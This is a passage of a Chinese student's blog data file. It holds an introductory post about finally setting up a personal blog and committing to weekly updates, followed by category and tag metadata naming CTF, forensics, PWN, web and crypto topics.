(建议挂梯子 写在前面一直想搭建一个blog,因为我也想在里面发一些文章来记述我的学习经历或者是生活琐碎(主要是看着nb:smirk:。之前在博客园、github上都尝试过,但是由于自己的水平问题(或者是没有找到很好的教程文章 ,之前的blog都是一副半死不活的亚子,,,文章也是一篇没发:confounded:。但,这次,我终于搭建了一个还能看的blog:joy:。感谢RX大神和其他XDSEC的(野兽)前辈们的指引。希望我能在这个还算奈斯的blog上常常更新,多发动态:relieved:,早日成长为大佬:stuck_out_tongue_closed_eyes:。 自我约束为了督促自己的成长与进步,我要给自己立上flag::triangular_flag_on_post::: 保持持久高质量更新:保质保量,一周一篇,多多益善 定期维护自己的blog,时不时的来给自己的blog上面加一些有趣的东西,那就大概一个月维护一次???:relaxed: 既然是flags,那就都尽量拔掉,严格遵守自我约束!!! BB,加油!!!","categories":[{"name":"杂记","slug":"杂记","permalink":"http://example.com/categories/%E6%9D%82%E8%AE%B0/"}],"tags":[{"name":"杂记","slug":"杂记","permalink":"http://example.com/tags/%E6%9D%82%E8%AE%B0/"}]}],"categories":[{"name":"CTF学习笔记","slug":"CTF学习笔记","permalink":"http://example.com/categories/CTF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"name":"CTF比赛题解","slug":"CTF比赛题解","permalink":"http://example.com/categories/CTF%E6%AF%94%E8%B5%9B%E9%A2%98%E8%A7%A3/"},{"name":"杂记","slug":"杂记","permalink":"http://example.com/categories/%E6%9D%82%E8%AE%B0/"},{"name":"电子取证学习","slug":"电子取证学习","permalink":"http://example.com/categories/%E7%94%B5%E5%AD%90%E5%8F%96%E8%AF%81%E5%AD%A6%E4%B9%A0/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"PWN","slug":"PWN","permalink":"http://example.com/tags/PWN/"},{"name":"wp","slug":"wp","permalink":"http://example.com/tags/wp/"},{"name":"杂记","slug":"杂记","permalink":"http://example.com/tags/%E6%9D%82%E8%AE%B0/"},{"name":"RE","slug":"RE","permalink":"http://example.com/tags/RE/"},{"name":"电子取证","slug":"电子取证","permalink":"http://example.com/tags/%E7%94%B5%E5%AD%90%E5%8F%96%E8%AF%81/"},{"name":"Crypto","slug":"Crypto","permalink":"http://example.com/tags/Crypto/"},{"name":"web","slug":"web","permalink":"http://example.com/tags/web/"},{"name":"program","slug":"program","permalink":"http://example.com/tags/program/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"}]}